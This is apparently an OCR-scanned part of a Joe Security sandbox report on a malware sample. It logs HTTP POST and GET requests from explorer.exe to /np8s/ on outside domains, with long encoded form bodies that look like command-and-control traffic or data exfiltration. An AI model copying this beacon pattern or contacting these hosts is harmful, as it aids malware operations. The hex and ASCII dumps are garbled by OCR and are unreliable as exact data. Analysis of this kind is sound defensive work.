vprplROWTXUFFUgMh~FnEGPcXCaBH1pJxgVAcpnOWZxcxnu8ObhMNR-MgEAKINWIGHKIrVTPVI9E4QBU
8JoAypt7h6KatexqOEIpIrBuGQP9zDiruVVe_fY4KBFIwvGsBW_b5ehTRFEI-YNyyWwQwppJ5keZHCEGJIAXKZI66yc
FSfZ50GIviaMiW7FnAnUOKT728M42Xoh8pXOr7mblhi5a37LKP7fSRVRIssx_~WWIjQ

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 17:07:31 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/

Content-Length: 257

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3¢ 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
742068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 22 3e 68 65 72 65 3c 2f 61
3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/">here</a>.</p></body></htm|>
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Session ID Source IP
4 192.168.2.6

. kBytes
Timestamp transferred
May 27, 2022 174
19:05:17.849312067
CEST
Session ID Source IP
40 192.168.2.6

. kBytes
WIEEET transferred
May 27, 2022 846
19:07:31.304898977
CEST
May 27, 2022 847
19:07:31.474366903
CEST
Session ID Source IP
41 192.168.2.6

Copyright Joe Security LLC 2022

Source Port

49782

Direction

ouT

Source Port

49878

Direction

ouT

Source Port

49880

Destination IP Destination Port Process

23.19.171.24 80 C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.harmlett.com
Connection: close
Content-Length: 416
Cache-Control: no-cache
Origin: http://www.harmlett.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://www.harmlett.com/np8s/
Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 49 64 53 47 7a 46 72 78 34 73 63 44 6b 31 73 59 6a 6b 28 59 69 47 49 42 77 4a 32 43
77 6a78 49 61 65 51 73 58 45 31 56 79 30 76 34 58 73 4f 55 35 46 55 55 36 4e 6b 75 35 57 4c 78 38 4d 39 67 62 62 42
58 54 2d 7e 32 67 47 58 35 69 42 48 55 41 68 52 55 75 6f 43 52 47 54 52 6d 6¢ 32 38 46 61 4c 6b 64 67 6¢ 32 41 6e 4e 5
73149 64 35 65 6d 53 51 4f 34 5a 6b 6d 4a 74 50 56 38 71 52 62 6f 6f 36 4b 45 62 38 32 76 58 38 52 43 4a 37 6e 5a 39
64 72 64 6a 52 38 54 47 74 4a 4b 73 57 30 34 62 4c 7a 30 78 61 56 4e 45 6a 5a 37 36 56 51 62 5f 71 6a 51 69 32 31 35
7a 54 66 28 35 5a 77 56 4b 4e 44 79 69 62 7a 4e 4b 54 63 44 33 58 6f 35 6a 46 58 34 74 65 41 7a 31 54 6b 37 7a 64 56
3074 6¢ 4b 71 38 71 52 58 32 69 72 28 65 79 76 38 45 50 49 4f 42 42 63 41 4e 54 65 43 52 73 63 66 66 55 66 64 5f 37
49 78 76 75 54 56 30 72 34 64 57 7a 78 4d 50 75 68 55 6f 36 44 67 4f 53 61 77 38 78 7a 64 5f 71 41 67 6¢ 38 77 5a 48
43 67 41 50 38 62 6d 72 65 5a 48 70 5a 72 76 72 6f 73 71 52 58 50 7e 49 52 57 63 56 73 54 42 36 4d 79 6d 33 61 58 64
78 45 50 5a 61 76 59 73 5a 31 61 74 64 32 64 6b 35 55 6e 39 36 49 72 69 54 74 35 5a 51 30 64 67 65 48 54 38 37 7e 5f
55 44 67 45 4a 36 43 73 75 6a 74 2d 70 42 35 57 44 7a 58 56 41 4e 6b 64 4e 51 38 2e 00 00 00 00 00 00 00 00

Data Ascii: 3ftk4oN=1dSGzFrx4scDk1sYjk(YiGIBwJ2CwjxlaeQsXE1Vy0v4XsOU5FUUBNKuSWLXx8M9gbbBXT-~
2gGX5iBHUAhRUUuoCRGTRmI28FalLkdgl2AnNW1Id5emSQO4ZkmJtPV8qRboo6KEb82vX8RCJI7nZ9drdjR8TGtIKsSWO04
bLzOxaVNEjZ76VQb_qjQi215zTf(5ZwVKNDyibzNKTcD3X05jFX4teAz1Tk7zdVOtIKq8qRX2ir(eyv8EPIOBBCANT
eCRscffUfd_7IxvuTVOr4dWzxMPuhUo6DgOSaw8xzd_gAgI8wZHCgAP8bmreZHpZrvrosqRXP~IRWcVsTB6Mym3aXd

XEPZavYsZ1latd2dk5Un96IriTt5ZQ0dgeHT87~_UDgEJ6Csujt-pB5WDzXVANKANQS.

Destination IP Destination Port Process
68.66.224.33 80 C:\Windows\explorer.exe
Data

GET /np8s/?3fk4doN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR1w+rnfL4/weOtcegenlGY7vNOGaAQzxdf5zVwF

VA==&aDHdzD=vpgdJ4mxrh HTTP/1.1
Host: www.getbusinesscreditandfunding.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently
Date: Fri, 27 May 2022 17:07:31 GMT
Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/?3fk4oN=0pptgqpOMeRyeb/9nmudohOLKqg4u2ksDw

Riw+rnfL4/weOtceqenlGY7vNOGaAQzxdf5zVwFvA==&aDHdzD=vpgdJ4mxrh

Content-Length: 363
Connection: close
Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3¢ 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79 3e Oa 3¢
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
742068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6574 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 3f 33 66 6b 34 6f 4e 3d 30
707074 67 71 70 30 4d 65 52 79 65 62 2f 39 6e 6d 75 64 6f 68 4f 4c 4b 71 34 75 32 6b 73 44 77 52 31 77 2b 72 6e 66 4c
34 2f 77 65 30 74 63 65 71 65 6e 6¢ 47 59 37 76 4e 4f 47 61 41 51 7a 78 64 66 35 7a 56 77 46 76 41 3d 3d 26 61 6d 70
3b 61 44 48 64 7a 44 3d 76 70 67 64 4a 34 6d 78 72 68 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79

3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly<i/tittle></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/?3fk4oN=0pptgqpOMeRyeb/9nmudohOLKg4u2ksDwR 1w+rnfL4/weOtceqenIGY7vNO

GaAQzxdf5zVwFvA==&amp;aDHdzD=vpgdJ4mxrh">here</a>.</p></body></htm|>

Destination IP Destination Port Process

68.66.224.33 80 C:\Windows\explorer.exe
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kBytes

Timestamp e Direction
May 27, 2022 854 ouT
19:07:36.655141115
CEST
May 27, 2022 868 IN
19:07:36.827512026
CESIl
Session ID Source IP Source Port
42 192.168.2.6 49881
. kBytes . .
Ti Di
imestamp transferred irection
May 27, 2022 868 ouT
19:07:36.818217039
CEST

Copyright Joe Security LLC 2022

68.66.224.33 80

Data

POST /np8s/ HTTP/1.1

Host: www.getbusinesscreditandfunding.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.getbusinesscreditandfunding.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.getbusinesscreditandfunding.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 37 72 64 58 7e 50 67 4f 4b 39 5a 4d 4b 38 4c 33 34 6a 6a 70 28 58 71 57 4e 59 56 34 68
46 49 57 6a 57 70 7a 75 61 57 4a 47 72 50 32 58 56 56 43 62 71 76 77 6d 6d 4a 67 39 5f 47 42 4b 42 67 6¢ 30 64 4c 55
70 6b59 42 79 67 74 65 38 6a 7a 41 58 31 6¢ 70 68 63 70 72 7a 4d 28 5f 59 6b 61 36 72 4f 4f 73 39 65 6b 4c 32 76 52 79
46 3936 61 75 2d 51 38 61 46 77 78 66 6d 65 63 65 63 52 46 76 67 69 78 57 6b 47 6b 62 58 64 50 69 2d 38 53 68 58 35
6e 56 65 76 77 67 75 32 37 6d 5f 79 77 4d 32 31 6f 51 48 66 6¢ 70 69 35 50 79 59 73 56 50 30 4c 51 57 43 70 2d 61 6¢ 5
4 44 5a 46 62 4c 72 57 4f 63 6¢ 79 6f 49 68 53 55 4d 4a 2d 35 69 4b 63 34 53 66 4b 51 34 47 67 54 34 43 48 53 59 62 39
56 44 61 37 4b 79 48 57 63 50 37 74 28 78 33 30 38 6f 70 63 6a 58 37 41 65 69 78 54 47 6f 52 31 4a 49 45 79 42 38 65
31 5a 71 5a 5056 49 4e 32 67 4d 72 4f 43 58 67 61 76 78 42 34 66 69 39 4d 30 70 33 49 52 39 38 43 65 65 52 6¢ 39 74
47 62 6b 6¢ 73 79 32 36 47 41 34 4a 70 5a 61 36 78 5a 34 7a 70 4e 78 70 71 73 6e 69 47 47 62 77 39 4e 28 4 31 38 74
6f 62 46 77 67 4d 46 30 52 4c 4e 34 44 37 66 32 64 38 71 63 44 4c 70 55 5a 58 38 73 48 43 7a 6¢ 4e 50 71 69 32 55 38
72 6f 79 4a 65 49 73 52 72 76 6¢ 70 49 6e 51 68 4c 62 45 44 52 33 6¢ 52 4d 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=7rdX~PgOK9ZMK8L34jjp(XqWNYV4hFIWjWpzuaWJIGrP2XVVCbhgvwmmJdg9_GBKBgl0dLUpkY
Bygte8jzAX1lIphcprzM(_Yka6rOOs9ekL2vRyF96au-Q8aFwxfmececRFvgixWkGkbXdPi-8ShX5nVevwgu27m_ywM
210QHfIpi5PyYsVPOLQWCp-alTDZFbLrWOclyolhSUMJ-5iKc4SfKQ4GgT4CHSYbOVDa7KyHWcP7t(x3080pcjX7Ae
iIXTGOR1JIEyB8e1ZqZPVIN2gMrOCXgavxB4fi9MOp3IR98CeeRItGbkisy26 GA4JIpZabxZ4zpNxpgsniGGbwIN(N1
8tobFwgMFORLN4D7f2d8gcDLpUZX8sHCzINPqi2U8royJelsRrvipinQhLbEDR3IRM.

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 17:07:36 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/

Content-Length: 257

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
742068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 22 3e 68 65 72 65 3¢ 2f 61
3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/“>here</a>.</p></body></htmI>

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.getbusinesscreditandfunding.com

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.getbusinesscreditandfunding.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.getbusinesscreditandfunding.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 37 72 64 58 7e 4b 68 46 41 73 46 46 50 73 4f 6e 36 57 48 39 33 45 79 51 4c 6f 68 39 39

3049 7a 30 58 34 45 71 62 6e 37 48 71 32 78 54 6¢ 35 6a 66 70 66 6f 6d 69 46 46 7a 74 69 64 5a 52 73 71 30 5a 76 2d

70 6b 63 42 7a 67 30 62 28 45 33 6d 58 58 39 71 73 63 70 58 79 4d 7e 38 4f 6d 7e 62 72 4f 37 4c 39 65 63 62 32 65 39

79 45 66 43 61 6f 39 34 33 48 31 78 62 42 33 79 51 42 73 63 70 76 6b 32 35 57 6b 4b 6b 62 6e 52 50 6a 65 4d 4e 32 41

46 6d 59 7576 70 6¢ 75 33 72 39 76 50 57 4d 32 78 4b 51 47 7a 6¢ 71 51 64 50 79 49 4d 56 59 33 7a 54 59 53 70 5f 65

6¢ 54 53 64 46 65 4e 72 58 69 51 6¢ 33 45 32 68 67 49 4d 49 4f 35 76 49 37 45 72 56 37 52 75 4c 41 50 66 43 48 65 39

62 7349 63 61 2d 79 53 48 67 59 30 6¢ 34 4c 4c 33 32 52 5f 76 38 6a 54 7a 67 65 35 78 54 47 4d 52 31 4a 32 45 79 52

3865 32 70 71 49 65 6¢ 49 64 57 67 4c 6e 4f 43 53 6f 36 76 69 4d 59 6a 43 39 4d 73 66 33 4a 70 54 37 77 65 65 52 32

56 74 41 36 6b 6d 31 53 32 38 44 41 34 70 74 5a 61 6¢ 78 5a 34 42 70 4d 78 35 71 37 76 69 63 33 62 77 35 76 48 4e 6¢

63 74 6f 65 46 77 69 46 6¢ 35 55 4c 4e 51 48 37 65 47 6a 38 35 77 44 4c 37 4d 5a 57 64 73 48 46 44 6¢ 4e 41 4b 6a 6f

61 5a 62 6a 78 4f 33 2d 69 67 37 5a 6d 72 6b 54 61 57 28 54 57 52 34 74 35 6d 38 39 4e 2d 32 54 74 73 43 34 79 68 41

69 35 6¢ 45 49 79 77 47 76 35 4d 7a 69 33 49 49 52 47 53 34 33 7e 5a 6¢ 47 54 46 57 72 47 36 45 7a 4d 71 36 4a 63 62

5336 6¢ 67 4d 7a 6a 41 71 34 28 4f 53 58 68 47 51 6f 7e 4b 31 43 73 55 4f 57 55 67 45 6e 6d 41 4e 63 46 51 6f 37 59 33

48 7358 58 76 64 6d 6b 55 58 4c 58 48 51 67 51 61 49 56 4d 30 50 59 59 54 77 7e 39 36 73 77 697379 74 72 42 71 4a

43 4d 5a 59 6¢ 6b 54 44 4f 73 30 41 35 5a 59 69 51 6e 73 58 67 48 6b 34 47 63 36 6e 56 6d 42 31 31 52 58 63 6¢ 68 2d

3470 6e 76 68 4d 36 64 58 4f 41 79 4e 42 46 5a 79 49 66 36 6d 52 50 77 58 61 37 71 32 74 61 5f 62 4a 5a 51 6d 32 41
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Timestam| kBytes

P transferred
May 27, 2022 895
19:07:37.215754986
CEST

Copyright Joe Security LLC 2022

Direction

65 6b 65 39 43 38 6a 32 66 61 65 42 5a 76 46 6b 74 49 70 43 39 68 62 32 74 45 57 64 66 78 6e 4b 39 76 6b 34 4b 49 6d
PP 70 42 30 74 5a 31 55 75 47 70 68 46 54 58 72 4d 39 47 53 42 61 70 43 57 35 58 65 47 4c 4d 35 6f 38 2d 41 31 30
61 43 61 67 57 50 70 59 7a 50 78 66 50 33 6a 39 52 45 50 28 62 28 48 63 72 76 41 49 5a 41 50 4c 52 52 43 6a 61 61 79
76 43 61 58 77 64 38 31 62 56 68 4a 5a 69 77 5f 78 52 64 70 6a 6e 32 57 35 68 4b 2d 56 74 4b 54 6e 73 7a 4d 70 43 43
56 71 33 7a4c 74 79 64 38 41 30 43 4b 6a 31 4c 68 28 6f 68 68 6e 56 49 75 4e 76 6f 45 4f 52 67 72 75 76 50 64 33 63 47
39 66 55 4a 4e 41 56 52 78 4e 76 68 6a 6b 6b 6¢ 35 63 79 46 35 4e 36 57 33 67 7568 57 77 6¢ 79 43 7a 71 54 76 53 74
4b 54 41 43 4e 43 52 6¢ 5a 6d 6¢ 78 34 48 72 57 75 53 4e 5f 44 30 7a 4d 6d 56 39 45 4c 4f 53 42 6f 45 28 6e 64 4e 31 39
44 34 56 4e 30 4c 4d 4d 59 61 4c 72 45 46 48 6e 42 50 50 6a 66 37 6¢ 59 6¢ 30 30 30 4c 55 75 5f 52 79 66 52 4a 33 4b
713045 63 76 41 6e 48 68 43 5a 4d 31 36 62 55 59 4a 37 39 38 6¢ 45 39 79 58 77 5a 4d 75 70 72 72 51 58 6d 4d 6d 45
46 4b 6a 44 30 6e 67 62 73 69 78 74 75 41 39 39 76 4b 6a 59 49 57 70 67 31 6¢ 71 68 6b 65 52 68 34 41 6f 58 33 57 63
30 7a 71 35 44 5a 66 79 68 5a 41 6e 4c 46 5f 61 50 68 78 37 37 56 4c 67 61 50 69 4b 30 51 57 67 34 6a 49 78 79 6d 35 3
966 73717879 28 46 4e 72 56 4c 43 49 58 43 4¢c 2d 58 77 42 74 70 68 4e 31 45 74 32 2d 34 35 75 5a 73 57 47 30 4e
42 67 62 30 70 64 76 49 6f 30 4f 7a 49 6d 5f 62 68 6¢ 55 76 57 75 4f 69 5f 73 48 73 4e 48 39 64 7a 67 67 52 54 78 58 36
33763148 71537456 4c 6756 4b 56 54 4179 77 49 41 52 4e 69 59 28 44 43 74 75 76 34 38 38 55 55 30 4a 45 76 72
45 30 4f 35 54 59 6e 78 78 4c 31 78 6f 57 6f 6e 55 54 31 36 65 7a 44 4f 56 5f 73 4d 4e 37 39 49 62 4a 75 48 50 44 61 57
59 33 68 67 6b 38 6¢ 5a 39 4c 37 4b 4c 39 66 4b 76 53 35 48 44 2d 68 70 75 79 4c 65 55 6a 39 2d 58 63 63 64 44 4e 53
55 76 49 30 4f 5a 49 32 6d 28 61 5a 38 31 6f 63 6e 4b 4f 63 32 36 4b 5a 6f 69 71 63 5a 69 6f 48 65 53 6a 5a 42 57 6a 37
64 6d 4b 6b 79 4e 37 6e 50 4f 32 48 63 53 31 74 76 49 78 6a 43 34 5a 54 4d 4b 76 4e 32 76 2d 6¢ 4e 57 33 7e 59 47 4b
4c 54 58 71 58 58 43 61 34 32 6f 53 61 69 61 30 72 42 33 61 4e 38 47 6d 73 53 58 57 77 79 30 42 33 6a

Data Ascii: 3fk4oN=7rdX~KhFAsFFPsOn6WH93EyQL0oh9901z0X4Eqbn7Hqg2xTI5jfpfomiFFztidZRsq0Zv-pkcBzgOb(E3mX
X9gscpXyM~80m~brO7L9ech2e9yEfCao0943H1xbB3yQBscpvk25WkKkbnRPjeMN2AFmMY uvplu3rovPWM2xKQGzlgQd
PyIMVY3zTYSp_elTSdFeNrXiQI3E2hgIMIO5vI7ErV7RULAPfCHe9bsIca-ySHgYOI4LL32R_v8jTzgeSxTGMR1J2E
yR8e2pglelldWgLnOCS06viMYjCIMsf3IpT7weeR2VIA6km1S28DA4ptZalxZ4BpMx5q7vic3bw5vHNIctoeFwiFI5
ULNQH7eGj85wDL7MZWdsHFDINAKjoaZbjxO3-ig7ZmrkTaW(TWR4t5m89N-2TtsC4yhAi5IElywGv5Mzi3IRGS43~
ZIGTFWrG6EzMq6JcbS6lgMzjAq4(0SXhGQo~K1CsUOWUGENMANCFQO07Y3HsXXvdmkUXLXHQgQalVMOPY
YTw~96swisytrBqJCMZYIkTDOs0A5ZYiQnsXgHk4Gec6nVmB11RXclh-4pnvhM6dXOAYNBFZylf6mRPwXa7q2ta_bJZ
Qm2Aeke9C8j2faeBZvFktlpCOhb2tEWdfxnK9vk4KImZypB0tZ1UuGphFTXrM9GSBapCW5XeGLM508-A10aCagWPpY
ZPxfP3j9REP(b(HcrvAIZAPLRRCjaayvCaXwd81bVhJZiw_xRdpjn2W5hK-VtKTnszMpCCVq3zLtyd8AOCKj1Lh(oh
hnVIuNvoEORgruvPd3cG9fUINAVRXNVhjkkl5cyFSN6W3guhWwlyCzgTvStKTACNCRIZmIx4HrWuSN_D0zMmV9ELOS
BoE(ndN19D4VNOLMMYaLrEFHNBPPjf7IYI000LUu_RyfRI3KgqOEcvANHhCZM16bUYJ798IE9yXwZMuprrQXmMmEFK]
DOngbsixtuA99vKjYIWpgllghkeRh4AoX3Wc0zq5DZfyhZAnLF_aPhx77VLgaPiKOQWg4jlxym59fsgxy(FNrVLCIXCL-
XwBtphN1Et2-45uZsWGONBgbOpdvlo00zIm_bhlUvWuOi_sHsNH9dzggRTxX63v1HqStVLgVKVTAywlARNiY(DC
tuv488UUOJEVIEOO5TYnxxL1xoWonUT16ezDOV_sMN79IbJuHPDaWY 3hgk8IZ9L7KLIfKvS5HD-hpuyLeUj9-XccdD
NSUvI0OZI2m(aZ81locnKOc26KZoigcZioHeSjZBWj7dmKkyN7nPO2HcS1tvIxjC4ZTMKVN2v-INW3~YGKLTXgXXCa4
20Saia0rB3aN8GmsSXWwy0B3jQTXHUTTYEX8x007dqvd_3DtKz6RNrUuS08sbi003ajLVEQJISrV6076303zUU7po79
LjM4VwDIX30EYWPIx~wa4hkBpF9riBLeZkAE6J_QpUKJINsoW1FfZ3IkNILjSNmsN-a8x2JUIGVk6ZCqwWjV9lrcarWi
UljssKlolm69cPd236d0xZv6iUZIVQONBT4mIRCQIJKHLbyr3yBziurRY8TEIMdNOydh5eWGBI7BWbWJIL4bxhaYM
MWM~N3YEqtNF8xyM4qsK0y6T3SfL-ARCqKZHBLGIzjPOFrc4auhINn3luL9(emRZCKIMVjMO1PjJA0PkvQc3jNDsai
die5Zshjl1-MxHtuUvT~fVtqLVpp2X8VRu13Z87HmdG7pHq09pt6F4qDwilLk4vzymNa3wFXLOgMWdAmXzRWqOmzrSDu
z8bmY6eNV4mRo(qQWGEDL7CgSXZ-4TXjLC~3(p2ZHArag_zWwP(ZN5ytxBF-DWcz29cW1YRSaDwIKClgs1pBX1Y60Hq
VipICXGclsvCh9tN1baHIVFq_(xPShthBkuFVJI-WEFYtxPrqgKLhGsHxKrCSQs~NLbbs(rGLMCnyWs(8~JoEzgt7xcT
rg5dbAExgBSzXhc7gmDHgCngjhYqJbSY1wal4(QbtppUC2aSbDLXWzVA3V25n4VvSIRfKWKTUuwOggeRYtERRIGMVI
R~ZHt1aDXRjRYXScFTgllpZoCi7xp2kKNSICalYNB4icU07hsw5~OCkR7jWQ8YiwqrllgWcGE1xOMzU1m99JOEJUNG
fXcz-Fev50SGesF40XoR0TUGOTEIIIKz05MynbkGtm1J29M8-co4c30l00nQseVbzIzfCzMZiX170DgD16AWECtfsr
M5jzRgbONAgViVgZIhV8eE8etyMS5F6Wz8YrPKY 15IBfbLVreOAPHRtRU0pZKX46KiORCCEdxnKzfsW2qngZct7OD
2i6¢cvgO~gMz077HKtok8k9zj2FwnvQ28WZ70ULKDkb2CYtxBmr8LhHGj1Rxt7tcT-RkgT8eXRmgquOigkZxhMHTbkD
XONWYlyeZM1tD90Zuu8wGQSXcz2zgFvlizXFzUMw_HJvpegOkwY3mj5F4tHLezQUONMZh1p~7BYZzYOmFZIKVWije(cu
y4W49ZxPIC78bV3PFOws|9eap86J97WJIk~8VdzWjZ8g(k8_PKqCPF2EkkstzZAJsLeos_V440HsOy4ADMGF3djGGVTS
H2MyFSC9qFPHE2iiG3nvMt6Lw1sKPDn~DdrVR2CifyMuJi4nA7JYivbEMalCKGNLQPWNoxdqp62dFNo4cBRSfnsE6V
zoxkgl8rUsOwdXRaaVFCOwy6YBjQbG-A_0DeZ3EArip42N9(c(7LzAh35(sU8eNu3XleINYo_nsvjaCb51dUTvBFkM
dUCKKGsRynnBIpyt7sq(nHuV2q9cpc-AaREsKZ89IRHbM-rPgX9Squ(vUcTukRi4TZ(4vX1wepuTeH8X7fEGKZp2H-W
XxN6N-9VMHa-VmOVFnWcPyT00oX2fDksTr_ilevK1Dx4vwey20d7_56~q4GckE1bbtzjTNLOt6mQ4rorlYyYrtgt2gns
KSANVUINkFCbT7_vCxV1ys80eBF7CMNcmnIXBwelo7qQ7Yj8sgAp8FJ2_7WsqcVwSo-VzPyTvUa9exMIJhoMLAoE4
hpjVgNKFBGSPEVohD(0INWEtEQ7ceNIla6cB2qfY2HY SFrBSp1FY30zI33bui20fD9gNzC(VOhQm2R8a2Gjy42timqd
qUCFWXOdtXX4M(sgtgkWhf2weip9i~9IWJkjcq31qTFSqO06H5b-0iAlaFAmiUm2tsWong4jcuUkmZ4eTZ10W29_WSm
CcGkj4SHGjLcC(6cWVBI2ptdKRI4APWpRUGeBqU1(20TyMYsYiNDYr8wokeAHpB-TsQVIr8mQZKbVRPsmKekEZd3aMB
-B6x69jQXKkGLAhTaMpnI7Ee2-vfYzAItWR9gR44NzbP7kPT9V3-2VFMCFTnsuK19f1kW76HaL 1m9PWIO6EfvCoRHhM
T8EhLBUOLVTSKL_t9S6woR54MYR1CJA~AKNOT4EY5MR7QGGtCKVydBau4QFCWUCHNYbwQOnWXW8ngcwD
L2njtbumPz9P4Gs8p~_tBBIAg73AuSHXxw_PB7-tOVbZxq90phFIp6TVGoGsMRRjQNsgawUB_awCWIVtXuEtuf4WkX
ycex1S11gWmQ8rLUPNYeEJJ7nZOFVZ TobnyeZkB6GiqqqqO(asOjf3LMSfykR(LIIJdcLKvLLNgCVADV3N4SfINgX0
8XUFLDAhtYtzY3nfkw62_OZHGineBFYHArSkwlsCzMugujPhAOCKYp-QLWT08c6vWZFErUanWMB8XsrxqPXAxBb4oXK
iad0_O9HBUr7UtbLCcEGRryLrQep0s79gK1Tm5mrrCx(gxHWeDPNCdIms8jlSZOftbC2YYjFZbPSXYXY5T38Gbktve
vprplROWTXUFFUgMh~FnEGPcXCaBH1pJxgVAcpnOWZxcxnu8ObhMNR-MgEAKINWIGbKIrVTPVI9E4QBuU
8JoAypt7h6KatexqOEIpIrBuGQP9zDiruVVq_fY4KBFIwvGsBW_b5ehTRFEI-YNyyWwQwppJ5keZHCEGIAXKZI66yc
FSfZ50GIviaMiW7FnAnUOKT728M42Xoh8pXOr7mblhi5a37LKP7fSRVRIssx_~WWfjQ

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 17:07:36 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/

Content-Length: 257

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
